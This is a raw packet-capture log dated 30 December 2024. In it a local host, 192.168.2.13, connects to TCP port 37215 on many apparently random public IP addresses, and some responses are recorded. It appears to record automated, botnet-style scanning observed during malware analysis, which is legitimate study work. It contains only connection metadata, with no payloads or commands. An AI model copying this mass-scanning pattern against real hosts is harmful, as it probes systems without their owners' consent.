Dec 30, 2024 11:58:15.020917892 CET	14099	37215	192.168.2.13	41.185.220.69
Dec 30, 2024 11:58:15.020921946 CET	14099	37215	192.168.2.13	41.82.164.24
Dec 30, 2024 11:58:15.020931959 CET	14099	37215	192.168.2.13	156.117.53.53
Dec 30, 2024 11:58:15.020932913 CET	37215	50532	41.153.137.228	192.168.2.13
Dec 30, 2024 11:58:15.020942926 CET	37215	40198	197.1.22.107	192.168.2.13
Dec 30, 2024 11:58:15.020945072 CET	60500	37215	192.168.2.13	197.19.3.249
Dec 30, 2024 11:58:15.020946026 CET	44750	37215	192.168.2.13	156.136.43.250
Dec 30, 2024 11:58:15.020958900 CET	37215	44906	156.238.46.79	192.168.2.13
Dec 30, 2024 11:58:15.020963907 CET	50532	37215	192.168.2.13	41.153.137.228
Dec 30, 2024 11:58:15.020971060 CET	14099	37215	192.168.2.13	41.8.146.177
Dec 30, 2024 11:58:15.020979881 CET	40198	37215	192.168.2.13	197.1.22.107
Dec 30, 2024 11:58:15.020979881 CET	37215	35040	41.227.170.47	192.168.2.13
Dec 30, 2024 11:58:15.020982981 CET	44906	37215	192.168.2.13	156.238.46.79
Dec 30, 2024 11:58:15.020989895 CET	37215	54418	156.13.84.178	192.168.2.13
Dec 30, 2024 11:58:15.020998001 CET	14099	37215	192.168.2.13	156.138.166.91
Dec 30, 2024 11:58:15.020998001 CET	14099	37215	192.168.2.13	156.88.88.5
Dec 30, 2024 11:58:15.020999908 CET	37215	44088	41.140.124.59	192.168.2.13
Dec 30, 2024 11:58:15.021008968 CET	37215	45646	41.243.254.225	192.168.2.13
Dec 30, 2024 11:58:15.021009922 CET	14099	37215	192.168.2.13	156.175.65.7
Dec 30, 2024 11:58:15.021014929 CET	35040	37215	192.168.2.13	41.227.170.47
Dec 30, 2024 11:58:15.021019936 CET	37215	47934	41.222.118.20	192.168.2.13
Dec 30, 2024 11:58:15.021022081 CET	44088	37215	192.168.2.13	41.140.124.59
Dec 30, 2024 11:58:15.021023035 CET	54418	37215	192.168.2.13	156.13.84.178
Dec 30, 2024 11:58:15.021030903 CET	37215	49144	156.57.243.107	192.168.2.13
Dec 30, 2024 11:58:15.021037102 CET	14099	37215	192.168.2.13	41.213.248.112
Dec 30, 2024 11:58:15.021038055 CET	45646	37215	192.168.2.13	41.243.254.225
Dec 30, 2024 11:58:15.021047115 CET	37215	50924	41.180.49.236	192.168.2.13
Dec 30, 2024 11:58:15.021048069 CET	47934	37215	192.168.2.13	41.222.118.20
Dec 30, 2024 11:58:15.021048069 CET	14099	37215	192.168.2.13	197.133.146.179
Dec 30, 2024 11:58:15.021049976 CET	14099	37215	192.168.2.13	41.243.159.75
Dec 30, 2024 11:58:15.021056890 CET	37215	52110	197.15.179.183	192.168.2.13
Dec 30, 2024 11:58:15.021059036 CET	49144	37215	192.168.2.13	156.57.243.107
Dec 30, 2024 11:58:15.021059990 CET	14099	37215	192.168.2.13	156.197.110.133
Dec 30, 2024 11:58:15.021069050 CET	37215	53994	197.130.217.200	192.168.2.13
Dec 30, 2024 11:58:15.021069050 CET	14099	37215	192.168.2.13	156.193.79.114
Dec 30, 2024 11:58:15.021069050 CET	14099	37215	192.168.2.13	156.240.222.4
Dec 30, 2024 11:58:15.021070957 CET	50924	37215	192.168.2.13	41.180.49.236
Dec 30, 2024 11:58:15.021075010 CET	14099	37215	192.168.2.13	41.56.36.227
Dec 30, 2024 11:58:15.021080017 CET	37215	55654	197.36.158.71	192.168.2.13
Dec 30, 2024 11:58:15.021090031 CET	52110	37215	192.168.2.13	197.15.179.183
Dec 30, 2024 11:58:15.021090984 CET	37215	59820	41.189.121.217	192.168.2.13
Dec 30, 2024 11:58:15.021091938 CET	14099	37215	192.168.2.13	156.139.231.155
Dec 30, 2024 11:58:15.021100044 CET	53994	37215	192.168.2.13	197.130.217.200
Dec 30, 2024 11:58:15.021101952 CET	37215	33626	156.89.229.196	192.168.2.13
Dec 30, 2024 11:58:15.021106005 CET	14099	37215	192.168.2.13	156.247.229.204
Dec 30, 2024 11:58:15.021112919 CET	37215	56778	197.35.235.54	192.168.2.13
Dec 30, 2024 11:58:15.021116018 CET	14099	37215	192.168.2.13	156.51.201.72
Dec 30, 2024 11:58:15.021119118 CET	55654	37215	192.168.2.13	197.36.158.71
Dec 30, 2024 11:58:15.021122932 CET	59820	37215	192.168.2.13	41.189.121.217
Dec 30, 2024 11:58:15.021128893 CET	37215	47536	197.173.158.252	192.168.2.13
Dec 30, 2024 11:58:15.021133900 CET	14099	37215	192.168.2.13	197.62.180.167
Dec 30, 2024 11:58:15.021138906 CET	37215	52902	156.232.111.124	192.168.2.13
Dec 30, 2024 11:58:15.021138906 CET	33626	37215	192.168.2.13	156.89.229.196
Dec 30, 2024 11:58:15.021140099 CET	14099	37215	192.168.2.13	41.251.121.196
Dec 30, 2024 11:58:15.021142960 CET	56778	37215	192.168.2.13	197.35.235.54
Dec 30, 2024 11:58:15.021142960 CET	14099	37215	192.168.2.13	41.175.25.173
Dec 30, 2024 11:58:15.021148920 CET	37215	50880	197.196.96.67	192.168.2.13
Dec 30, 2024 11:58:15.021151066 CET	14099	37215	192.168.2.13	197.166.196.124
Dec 30, 2024 11:58:15.021157980 CET	37215	53316	156.184.135.184	192.168.2.13
Dec 30, 2024 11:58:15.021162987 CET	52902	37215	192.168.2.13	156.232.111.124
Dec 30, 2024 11:58:15.021167994 CET	50880	37215	192.168.2.13	197.196.96.67
Dec 30, 2024 11:58:15.021168947 CET	47536	37215	192.168.2.13	197.173.158.252
Dec 30, 2024 11:58:15.021168947 CET	14099	37215	192.168.2.13	156.13.171.13
Dec 30, 2024 11:58:15.021187067 CET	53316	37215	192.168.2.13	156.184.135.184
Dec 30, 2024 11:58:15.021190882 CET	14099	37215	192.168.2.13	41.247.248.64
Dec 30, 2024 11:58:15.021199942 CET	14099	37215	192.168.2.13	197.218.207.14
Dec 30, 2024 11:58:15.021205902 CET	14099	37215	192.168.2.13	156.201.29.40
Dec 30, 2024 11:58:15.021223068 CET	14099	37215	192.168.2.13	156.178.18.132
Dec 30, 2024 11:58:15.021224022 CET	14099	37215	192.168.2.13	156.139.131.211
Dec 30, 2024 11:58:15.021231890 CET	14099	37215	192.168.2.13	197.188.192.13
Dec 30, 2024 11:58:15.021235943 CET	14099	37215	192.168.2.13	156.215.160.55
Dec 30, 2024 11:58:15.021241903 CET	14099	37215	192.168.2.13	41.72.49.233
Dec 30, 2024 11:58:15.021248102 CET	14099	37215	192.168.2.13	156.189.119.214
Dec 30, 2024 11:58:15.021254063 CET	14099	37215	192.168.2.13	41.222.163.245
Dec 30, 2024 11:58:15.021261930 CET	14099	37215	192.168.2.13	41.219.68.163
Dec 30, 2024 11:58:15.021270037 CET	14099	37215	192.168.2.13	41.101.184.121
Dec 30, 2024 11:58:15.021271944 CET	14099	37215	192.168.2.13	156.8.219.157
Dec 30, 2024 11:58:15.021286964 CET	14099	37215	192.168.2.13	41.41.176.170
Dec 30, 2024 11:58:15.021306038 CET	14099	37215	192.168.2.13	156.66.192.236
Dec 30, 2024 11:58:15.021306038 CET	14099	37215	192.168.2.13	156.165.252.40
Dec 30, 2024 11:58:15.021316051 CET	14099	37215	192.168.2.13	41.180.226.178
Dec 30, 2024 11:58:15.021317959 CET	37215	59562	156.200.197.140	192.168.2.13
Dec 30, 2024 11:58:15.021328926 CET	37215	59780	156.97.78.132	192.168.2.13
Dec 30, 2024 11:58:15.021334887 CET	14099	37215	192.168.2.13	41.222.36.38
Dec 30, 2024 11:58:15.021336079 CET	14099	37215	192.168.2.13	41.118.206.34
Dec 30, 2024 11:58:15.021339893 CET	37215	59548	156.59.224.18	192.168.2.13
Dec 30, 2024 11:58:15.021343946 CET	59562	37215	192.168.2.13	156.200.197.140
Dec 30, 2024 11:58:15.021348953 CET	14099	37215	192.168.2.13	197.36.89.63
Dec 30, 2024 11:58:15.021349907 CET	37215	44044	197.15.54.40	192.168.2.13
Dec 30, 2024 11:58:15.021359921 CET	37215	38876	197.174.76.207	192.168.2.13
Dec 30, 2024 11:58:15.021362066 CET	59548	37215	192.168.2.13	156.59.224.18
Dec 30, 2024 11:58:15.021363974 CET	59780	37215	192.168.2.13	156.97.78.132
Dec 30, 2024 11:58:15.021369934 CET	37215	55144	197.9.255.10	192.168.2.13
Dec 30, 2024 11:58:15.021370888 CET	14099	37215	192.168.2.13	197.78.165.68
Dec 30, 2024 11:58:15.021378994 CET	37215	46324	197.54.249.204	192.168.2.13
Dec 30, 2024 11:58:15.021382093 CET	38876	37215	192.168.2.13	197.174.76.207
Dec 30, 2024 11:58:15.021383047 CET	44044	37215	192.168.2.13	197.15.54.40
Dec 30, 2024 11:58:15.021389008 CET	37215	58184	197.236.84.30	192.168.2.13
Dec 30, 2024 11:58:15.021398067 CET	37215	38662	197.98.225.122	192.168.2.13
Dec 30, 2024 11:58:15.021399021 CET	55144	37215	192.168.2.13	197.9.255.10
Dec 30, 2024 11:58:15.021401882 CET	14099	37215	192.168.2.13	156.228.132.159
Dec 30, 2024 11:58:15.021404982 CET	14099	37215	192.168.2.13	197.131.230.103
Dec 30, 2024 11:58:15.021406889 CET	37215	51496	156.126.95.206	192.168.2.13
Dec 30, 2024 11:58:15.021409988 CET	46324	37215	192.168.2.13	197.54.249.204
Dec 30, 2024 11:58:15.021420002 CET	37215	55138	156.180.119.226	192.168.2.13
Dec 30, 2024 11:58:15.021420956 CET	58184	37215	192.168.2.13	197.236.84.30
Dec 30, 2024 11:58:15.021420956 CET	14099	37215	192.168.2.13	156.206.181.132
Dec 30, 2024 11:58:15.021425009 CET	14099	37215	192.168.2.13	41.15.175.49
Dec 30, 2024 11:58:15.021425962 CET	38662	37215	192.168.2.13	197.98.225.122
Dec 30, 2024 11:58:15.021431923 CET	37215	45256	197.144.183.161	192.168.2.13
Dec 30, 2024 11:58:15.021433115 CET	14099	37215	192.168.2.13	41.157.61.220
Dec 30, 2024 11:58:15.021433115 CET	51496	37215	192.168.2.13	156.126.95.206
Dec 30, 2024 11:58:15.021437883 CET	14099	37215	192.168.2.13	41.176.39.77
Dec 30, 2024 11:58:15.021440983 CET	37215	59922	197.36.42.38	192.168.2.13
Dec 30, 2024 11:58:15.021445990 CET	14099	37215	192.168.2.13	41.94.211.212
Dec 30, 2024 11:58:15.021445990 CET	14099	37215	192.168.2.13	197.253.133.217
Dec 30, 2024 11:58:15.021450043 CET	37215	42144	197.207.188.130	192.168.2.13
Dec 30, 2024 11:58:15.021450996 CET	14099	37215	192.168.2.13	197.143.58.48
Dec 30, 2024 11:58:15.021451950 CET	55138	37215	192.168.2.13	156.180.119.226
Dec 30, 2024 11:58:15.021455050 CET	45256	37215	192.168.2.13	197.144.183.161
Dec 30, 2024 11:58:15.021461010 CET	37215	45330	197.17.1.56	192.168.2.13
Dec 30, 2024 11:58:15.021466970 CET	14099	37215	192.168.2.13	156.151.187.245
Dec 30, 2024 11:58:15.021470070 CET	37215	34870	197.244.249.122	192.168.2.13
Dec 30, 2024 11:58:15.021470070 CET	59922	37215	192.168.2.13	197.36.42.38
Dec 30, 2024 11:58:15.021470070 CET	14099	37215	192.168.2.13	156.175.186.63
Dec 30, 2024 11:58:15.021480083 CET	37215	41800	197.16.249.219	192.168.2.13
Dec 30, 2024 11:58:15.021481037 CET	14099	37215	192.168.2.13	156.54.209.197
Dec 30, 2024 11:58:15.021481991 CET	42144	37215	192.168.2.13	197.207.188.130
Dec 30, 2024 11:58:15.021483898 CET	45330	37215	192.168.2.13	197.17.1.56
Dec 30, 2024 11:58:15.021488905 CET	37215	40042	197.52.4.59	192.168.2.13
Dec 30, 2024 11:58:15.021500111 CET	34870	37215	192.168.2.13	197.244.249.122
Dec 30, 2024 11:58:15.021512985 CET	41800	37215	192.168.2.13	197.16.249.219
Dec 30, 2024 11:58:15.021512985 CET	40042	37215	192.168.2.13	197.52.4.59
Dec 30, 2024 11:58:15.021524906 CET	14099	37215	192.168.2.13	197.160.200.115
Dec 30, 2024 11:58:15.021524906 CET	14099	37215	192.168.2.13	41.45.23.46
Dec 30, 2024 11:58:15.021533966 CET	14099	37215	192.168.2.13	156.13.160.196
Dec 30, 2024 11:58:15.021541119 CET	14099	37215	192.168.2.13	156.191.109.249
Dec 30, 2024 11:58:15.021543026 CET	14099	37215	192.168.2.13	197.200.18.11
Dec 30, 2024 11:58:15.021548033 CET	14099	37215	192.168.2.13	197.88.35.193
Dec 30, 2024 11:58:15.021555901 CET	14099	37215	192.168.2.13	197.40.42.83
Dec 30, 2024 11:58:15.021559000 CET	14099	37215	192.168.2.13	41.145.233.43
Dec 30, 2024 11:58:15.021564960 CET	14099	37215	192.168.2.13	156.207.184.71
Dec 30, 2024 11:58:15.021574974 CET	14099	37215	192.168.2.13	156.53.35.82
Dec 30, 2024 11:58:15.021576881 CET	14099	37215	192.168.2.13	41.191.17.154
Dec 30, 2024 11:58:15.021583080 CET	14099	37215	192.168.2.13	197.155.157.34
Dec 30, 2024 11:58:15.021591902 CET	14099	37215	192.168.2.13	197.158.243.94
Dec 30, 2024 11:58:15.021605968 CET	14099	37215	192.168.2.13	156.233.118.182
Dec 30, 2024 11:58:15.021608114 CET	14099	37215	192.168.2.13	41.210.109.221
Dec 30, 2024 11:58:15.021619081 CET	14099	37215	192.168.2.13	197.51.70.114
Dec 30, 2024 11:58:15.021619081 CET	14099	37215	192.168.2.13	41.140.241.165
Dec 30, 2024 11:58:15.021626949 CET	14099	37215	192.168.2.13	41.113.18.36
Dec 30, 2024 11:58:15.021631002 CET	14099	37215	192.168.2.13	156.47.73.248
Dec 30, 2024 11:58:15.021648884 CET	14099	37215	192.168.2.13	156.126.246.100
Dec 30, 2024 11:58:15.021648884 CET	14099	37215	192.168.2.13	156.112.26.154
Dec 30, 2024 11:58:15.021657944 CET	14099	37215	192.168.2.13	156.70.231.113
Dec 30, 2024 11:58:15.021666050 CET	14099	37215	192.168.2.13	197.246.204.206
Dec 30, 2024 11:58:15.021668911 CET	14099	37215	192.168.2.13	156.231.164.153
Dec 30, 2024 11:58:15.021678925 CET	14099	37215	192.168.2.13	156.191.245.125
Dec 30, 2024 11:58:15.021682978 CET	14099	37215	192.168.2.13	197.100.148.17
Dec 30, 2024 11:58:15.021686077 CET	14099	37215	192.168.2.13	197.24.100.75
Dec 30, 2024 11:58:15.021693945 CET	14099	37215	192.168.2.13	41.100.130.234
Dec 30, 2024 11:58:15.021708012 CET	14099	37215	192.168.2.13	41.80.172.45
Dec 30, 2024 11:58:15.021712065 CET	14099	37215	192.168.2.13	156.234.181.186
Dec 30, 2024 11:58:15.021714926 CET	14099	37215	192.168.2.13	41.138.6.182
Dec 30, 2024 11:58:15.021723986 CET	14099	37215	192.168.2.13	197.158.124.197
Dec 30, 2024 11:58:15.021738052 CET	14099	37215	192.168.2.13	197.4.133.95
Dec 30, 2024 11:58:15.021740913 CET	14099	37215	192.168.2.13	41.232.162.2
Dec 30, 2024 11:58:15.021743059 CET	14099	37215	192.168.2.13	156.252.28.102
Dec 30, 2024 11:58:15.021753073 CET	14099	37215	192.168.2.13	156.39.196.237
Dec 30, 2024 11:58:15.021764994 CET	14099	37215	192.168.2.13	41.236.148.145
Dec 30, 2024 11:58:15.021774054 CET	14099	37215	192.168.2.13	156.64.221.49
Dec 30, 2024 11:58:15.021775961 CET	14099	37215	192.168.2.13	41.110.84.191
Dec 30, 2024 11:58:15.021789074 CET	14099	37215	192.168.2.13	41.235.30.226
Dec 30, 2024 11:58:15.021794081 CET	14099	37215	192.168.2.13	41.15.177.224
Dec 30, 2024 11:58:15.021794081 CET	14099	37215	192.168.2.13	41.136.38.10
Dec 30, 2024 11:58:15.021800995 CET	14099	37215	192.168.2.13	197.7.158.154
Dec 30, 2024 11:58:15.021810055 CET	14099	37215	192.168.2.13	156.111.88.81
Dec 30, 2024 11:58:15.021812916 CET	14099	37215	192.168.2.13	41.117.231.195
Dec 30, 2024 11:58:15.021823883 CET	14099	37215	192.168.2.13	156.222.85.212
Dec 30, 2024 11:58:15.021832943 CET	14099	37215	192.168.2.13	41.76.192.84
Dec 30, 2024 11:58:15.021841049 CET	14099	37215	192.168.2.13	156.93.137.60
Dec 30, 2024 11:58:15.021852016 CET	14099	37215	192.168.2.13	41.107.123.249
Dec 30, 2024 11:58:15.021852016 CET	14099	37215	192.168.2.13	156.193.253.88
Dec 30, 2024 11:58:15.021862984 CET	14099	37215	192.168.2.13	156.248.115.193
Dec 30, 2024 11:58:15.021866083 CET	14099	37215	192.168.2.13	156.224.117.217
Dec 30, 2024 11:58:15.021873951 CET	14099	37215	192.168.2.13	41.78.77.33
Dec 30, 2024 11:58:15.021883011 CET	14099	37215	192.168.2.13	41.119.111.184
Dec 30, 2024 11:58:15.021887064 CET	14099	37215	192.168.2.13	197.222.9.25
Dec 30, 2024 11:58:15.021898031 CET	14099	37215	192.168.2.13	41.51.35.44
Dec 30, 2024 11:58:15.021899939 CET	14099	37215	192.168.2.13	156.164.184.90
Dec 30, 2024 11:58:15.021909952 CET	14099	37215	192.168.2.13	41.203.241.68
Dec 30, 2024 11:58:15.021914005 CET	14099	37215	192.168.2.13	197.147.74.118
Dec 30, 2024 11:58:15.021933079 CET	14099	37215	192.168.2.13	156.64.181.45
Dec 30, 2024 11:58:15.021933079 CET	14099	37215	192.168.2.13	41.15.88.150
Dec 30, 2024 11:58:15.021933079 CET	14099	37215	192.168.2.13	197.124.155.90
Dec 30, 2024 11:58:15.021943092 CET	14099	37215	192.168.2.13	41.63.94.115
Dec 30, 2024 11:58:15.021946907 CET	14099	37215	192.168.2.13	41.16.9.114
Dec 30, 2024 11:58:15.021955013 CET	14099	37215	192.168.2.13	41.249.104.187
Dec 30, 2024 11:58:15.021962881 CET	14099	37215	192.168.2.13	197.156.155.65
Dec 30, 2024 11:58:15.021970034 CET	14099	37215	192.168.2.13	156.65.105.203
Dec 30, 2024 11:58:15.021976948 CET	14099	37215	192.168.2.13	197.111.15.122
Dec 30, 2024 11:58:15.021986961 CET	14099	37215	192.168.2.13	156.72.245.83
Dec 30, 2024 11:58:15.021989107 CET	14099	37215	192.168.2.13	156.138.34.224
Dec 30, 2024 11:58:15.022000074 CET	14099	37215	192.168.2.13	197.156.82.107
Dec 30, 2024 11:58:15.022008896 CET	14099	37215	192.168.2.13	156.200.247.254
Dec 30, 2024 11:58:15.022008896 CET	14099	37215	192.168.2.13	41.26.34.209
Dec 30, 2024 11:58:15.022020102 CET	14099	37215	192.168.2.13	197.81.190.131
Dec 30, 2024 11:58:15.022022963 CET	14099	37215	192.168.2.13	197.251.129.222
Dec 30, 2024 11:58:15.022030115 CET	14099	37215	192.168.2.13	197.12.144.137
Dec 30, 2024 11:58:15.022034883 CET	14099	37215	192.168.2.13	197.92.82.161
Dec 30, 2024 11:58:15.022044897 CET	14099	37215	192.168.2.13	197.28.98.243
Dec 30, 2024 11:58:15.022047043 CET	14099	37215	192.168.2.13	197.149.244.22
Dec 30, 2024 11:58:15.022058010 CET	14099	37215	192.168.2.13	197.66.111.166
Dec 30, 2024 11:58:15.022063017 CET	14099	37215	192.168.2.13	41.12.104.248
Dec 30, 2024 11:58:15.022068977 CET	14099	37215	192.168.2.13	156.29.232.45
Dec 30, 2024 11:58:15.022078037 CET	14099	37215	192.168.2.13	197.73.181.92
Dec 30, 2024 11:58:15.022083998 CET	14099	37215	192.168.2.13	197.87.219.88
Dec 30, 2024 11:58:15.022089958 CET	14099	37215	192.168.2.13	156.84.87.118
Dec 30, 2024 11:58:15.022094965 CET	14099	37215	192.168.2.13	156.158.162.90
Dec 30, 2024 11:58:15.022150040 CET	46324	37215	192.168.2.13	197.54.249.204
Dec 30, 2024 11:58:15.022166967 CET	55138	37215	192.168.2.13	156.180.119.226
Dec 30, 2024 11:58:15.022175074 CET	45256	37215	192.168.2.13	197.144.183.161
Dec 30, 2024 11:58:15.022188902 CET	59548	37215	192.168.2.13	156.59.224.18
Dec 30, 2024 11:58:15.022197008 CET	51496	37215	192.168.2.13	156.126.95.206
Dec 30, 2024 11:58:15.022208929 CET	59820	37215	192.168.2.13	41.189.121.217
Dec 30, 2024 11:58:15.022208929 CET	56778	37215	192.168.2.13	197.35.235.54
Dec 30, 2024 11:58:15.022238016 CET	59758	37215	192.168.2.13	197.200.55.247
Dec 30, 2024 11:58:15.022238016 CET	59758	37215	192.168.2.13	197.200.55.247
Dec 30, 2024 11:58:15.022723913 CET	60104	37215	192.168.2.13	197.200.55.247
Dec 30, 2024 11:58:15.023014069 CET	35222	37215	192.168.2.13	156.100.80.106
Dec 30, 2024 11:58:15.023021936 CET	35222	37215	192.168.2.13	156.100.80.106
Dec 30, 2024 11:58:15.023238897 CET	35568	37215	192.168.2.13	156.100.80.106
Dec 30, 2024 11:58:15.023559093 CET	52554	37215	192.168.2.13	41.227.24.2
Dec 30, 2024 11:58:15.023560047 CET	52554	37215	192.168.2.13	41.227.24.2
Dec 30, 2024 11:58:15.023777008 CET	52898	37215	192.168.2.13	41.227.24.2
Dec 30, 2024 11:58:15.024050951 CET	60674	37215	192.168.2.13	41.173.187.248
Dec 30, 2024 11:58:15.024050951 CET	60674	37215	192.168.2.13	41.173.187.248
Dec 30, 2024 11:58:15.024255037 CET	60996	37215	192.168.2.13	41.173.187.248
Dec 30, 2024 11:58:15.024728060 CET	34256	37215	192.168.2.13	156.251.134.233
Dec 30, 2024 11:58:15.025188923 CET	59880	37215	192.168.2.13	41.19.142.244
Dec 30, 2024 11:58:15.025650978 CET	53818	37215	192.168.2.13	156.63.212.134
Dec 30, 2024 11:58:15.025703907 CET	37215	14099	197.189.192.185	192.168.2.13
Dec 30, 2024 11:58:15.025717020 CET	37215	14099	156.178.83.206	192.168.2.13
Dec 30, 2024 11:58:15.025723934 CET	37215	14099	41.50.222.92	192.168.2.13
Dec 30, 2024 11:58:15.025742054 CET	37215	14099	41.98.5.93	192.168.2.13
Dec 30, 2024 11:58:15.025759935 CET	37215	14099	197.231.7.129	192.168.2.13
Dec 30, 2024 11:58:15.025763035 CET	14099	37215	192.168.2.13	156.178.83.206
Dec 30, 2024 11:58:15.025767088 CET	14099	37215	192.168.2.13	197.189.192.185
Dec 30, 2024 11:58:15.025768995 CET	14099	37215	192.168.2.13	41.50.222.92
Dec 30, 2024 11:58:15.025770903 CET	37215	14099	197.156.132.93	192.168.2.13
Dec 30, 2024 11:58:15.025775909 CET	14099	37215	192.168.2.13	41.98.5.93
Dec 30, 2024 11:58:15.025780916 CET	37215	14099	41.184.131.17	192.168.2.13
Dec 30, 2024 11:58:15.025788069 CET	14099	37215	192.168.2.13	197.231.7.129
Dec 30, 2024 11:58:15.025790930 CET	37215	14099	156.164.193.76	192.168.2.13
Dec 30, 2024 11:58:15.025804043 CET	14099	37215	192.168.2.13	197.156.132.93
Dec 30, 2024 11:58:15.025815964 CET	14099	37215	192.168.2.13	41.184.131.17
Dec 30, 2024 11:58:15.025815964 CET	14099	37215	192.168.2.13	156.164.193.76
Dec 30, 2024 11:58:15.026113987 CET	37215	14099	41.189.38.236	192.168.2.13
Dec 30, 2024 11:58:15.026123047 CET	37215	14099	197.178.226.71	192.168.2.13
Dec 30, 2024 11:58:15.026141882 CET	37215	14099	156.135.35.41	192.168.2.13
Dec 30, 2024 11:58:15.026145935 CET	14099	37215	192.168.2.13	41.189.38.236
Dec 30, 2024 11:58:15.026150942 CET	37215	14099	41.194.109.105	192.168.2.13
Dec 30, 2024 11:58:15.026151896 CET	55254	37215	192.168.2.13	197.185.106.187
Dec 30, 2024 11:58:15.026159048 CET	14099	37215	192.168.2.13	197.178.226.71
Dec 30, 2024 11:58:15.026160955 CET	37215	14099	41.47.89.41	192.168.2.13
Dec 30, 2024 11:58:15.026165962 CET	14099	37215	192.168.2.13	156.135.35.41
Dec 30, 2024 11:58:15.026175022 CET	14099	37215	192.168.2.13	41.194.109.105
Dec 30, 2024 11:58:15.026177883 CET	37215	14099	197.226.143.10	192.168.2.13
Dec 30, 2024 11:58:15.026185036 CET	14099	37215	192.168.2.13	41.47.89.41
Dec 30, 2024 11:58:15.026186943 CET	37215	14099	156.89.190.28	192.168.2.13
Dec 30, 2024 11:58:15.026196957 CET	37215	14099	41.226.224.148	192.168.2.13
Dec 30, 2024 11:58:15.026205063 CET	14099	37215	192.168.2.13	197.226.143.10
Dec 30, 2024 11:58:15.026213884 CET	37215	14099	197.151.132.158	192.168.2.13
Dec 30, 2024 11:58:15.026213884 CET	14099	37215	192.168.2.13	156.89.190.28
Dec 30, 2024 11:58:15.026223898 CET	37215	14099	41.70.188.122	192.168.2.13
Dec 30, 2024 11:58:15.026226997 CET	14099	37215	192.168.2.13	41.226.224.148
Dec 30, 2024 11:58:15.026233912 CET	37215	14099	197.241.71.195	192.168.2.13
Dec 30, 2024 11:58:15.026242971 CET	37215	14099	41.185.220.69	192.168.2.13
Dec 30, 2024 11:58:15.026249886 CET	14099	37215	192.168.2.13	41.70.188.122
Dec 30, 2024 11:58:15.026251078 CET	14099	37215	192.168.2.13	197.151.132.158
Dec 30, 2024 11:58:15.026253939 CET	14099	37215	192.168.2.13	197.241.71.195
Dec 30, 2024 11:58:15.026273966 CET	14099	37215	192.168.2.13	41.185.220.69
Dec 30, 2024 11:58:15.026446104 CET	37215	14099	41.82.164.24	192.168.2.13
Dec 30, 2024 11:58:15.026479959 CET	37215	14099	156.117.53.53	192.168.2.13
Dec 30, 2024 11:58:15.026483059 CET	14099	37215	192.168.2.13	41.82.164.24
Dec 30, 2024 11:58:15.026489019 CET	37215	14099	41.8.146.177	192.168.2.13
Dec 30, 2024 11:58:15.026498079 CET	37215	14099	156.138.166.91	192.168.2.13
Dec 30, 2024 11:58:15.026510000 CET	14099	37215	192.168.2.13	156.117.53.53
Dec 30, 2024 11:58:15.026519060 CET	14099	37215	192.168.2.13	41.8.146.177
Dec 30, 2024 11:58:15.026523113 CET	14099	37215	192.168.2.13	156.138.166.91
Dec 30, 2024 11:58:15.026633024 CET	39680	37215	192.168.2.13	156.134.20.212
Dec 30, 2024 11:58:15.026817083 CET	37215	14099	156.88.88.5	192.168.2.13
Dec 30, 2024 11:58:15.026828051 CET	37215	14099	156.175.65.7	192.168.2.13
Dec 30, 2024 11:58:15.026838064 CET	37215	14099	41.213.248.112	192.168.2.13
Dec 30, 2024 11:58:15.026848078 CET	37215	14099	41.243.159.75	192.168.2.13
Dec 30, 2024 11:58:15.026854992 CET	14099	37215	192.168.2.13	156.88.88.5
Dec 30, 2024 11:58:15.026856899 CET	14099	37215	192.168.2.13	156.175.65.7
Dec 30, 2024 11:58:15.026856899 CET	37215	14099	197.133.146.179	192.168.2.13
Dec 30, 2024 11:58:15.026866913 CET	37215	14099	156.197.110.133	192.168.2.13
Dec 30, 2024 11:58:15.026870012 CET	14099	37215	192.168.2.13	41.213.248.112
Dec 30, 2024 11:58:15.026871920 CET	14099	37215	192.168.2.13	41.243.159.75
Dec 30, 2024 11:58:15.026879072 CET	37215	14099	156.193.79.114	192.168.2.13
Dec 30, 2024 11:58:15.026891947 CET	14099	37215	192.168.2.13	197.133.146.179
Dec 30, 2024 11:58:15.026895046 CET	14099	37215	192.168.2.13	156.197.110.133
Dec 30, 2024 11:58:15.026905060 CET	14099	37215	192.168.2.13	156.193.79.114
Dec 30, 2024 11:58:15.026916027 CET	37215	14099	156.240.222.4	192.168.2.13
Dec 30, 2024 11:58:15.026926041 CET	37215	14099	41.56.36.227	192.168.2.13
Dec 30, 2024 11:58:15.026942968 CET	37215	14099	156.139.231.155	192.168.2.13
Dec 30, 2024 11:58:15.026952028 CET	14099	37215	192.168.2.13	156.240.222.4
Dec 30, 2024 11:58:15.026952028 CET	37215	14099	156.247.229.204	192.168.2.13
Dec 30, 2024 11:58:15.026953936 CET	14099	37215	192.168.2.13	41.56.36.227
Dec 30, 2024 11:58:15.026962042 CET	37215	14099	156.51.201.72	192.168.2.13
Dec 30, 2024 11:58:15.026971102 CET	37215	14099	197.62.180.167	192.168.2.13
Dec 30, 2024 11:58:15.026974916 CET	14099	37215	192.168.2.13	156.139.231.155
Dec 30, 2024 11:58:15.026981115 CET	14099	37215	192.168.2.13	156.247.229.204
Dec 30, 2024 11:58:15.026983976 CET	37215	14099	41.251.121.196	192.168.2.13
Dec 30, 2024 11:58:15.026994944 CET	14099	37215	192.168.2.13	156.51.201.72
Dec 30, 2024 11:58:15.027003050 CET	14099	37215	192.168.2.13	197.62.180.167
Dec 30, 2024 11:58:15.027018070 CET	14099	37215	192.168.2.13	41.251.121.196
Dec 30, 2024 11:58:15.027167082 CET	54496	37215	192.168.2.13	197.244.197.40
Dec 30, 2024 11:58:15.027277946 CET	37215	14099	41.175.25.173	192.168.2.13
Dec 30, 2024 11:58:15.027290106 CET	37215	14099	197.166.196.124	192.168.2.13
Dec 30, 2024 11:58:15.027298927 CET	37215	14099	156.13.171.13	192.168.2.13
Dec 30, 2024 11:58:15.027323008 CET	37215	14099	41.247.248.64	192.168.2.13
Dec 30, 2024 11:58:15.027326107 CET	14099	37215	192.168.2.13	41.175.25.173
Dec 30, 2024 11:58:15.027328968 CET	14099	37215	192.168.2.13	197.166.196.124
Dec 30, 2024 11:58:15.027328968 CET	14099	37215	192.168.2.13	156.13.171.13
Dec 30, 2024 11:58:15.027333975 CET	37215	14099	197.218.207.14	192.168.2.13
Dec 30, 2024 11:58:15.027343035 CET	37215	14099	156.201.29.40	192.168.2.13
Dec 30, 2024 11:58:15.027352095 CET	37215	14099	156.178.18.132	192.168.2.13
Dec 30, 2024 11:58:15.027354002 CET	14099	37215	192.168.2.13	41.247.248.64
Dec 30, 2024 11:58:15.027360916 CET	37215	14099	156.139.131.211	192.168.2.13
Dec 30, 2024 11:58:15.027367115 CET	14099	37215	192.168.2.13	156.201.29.40
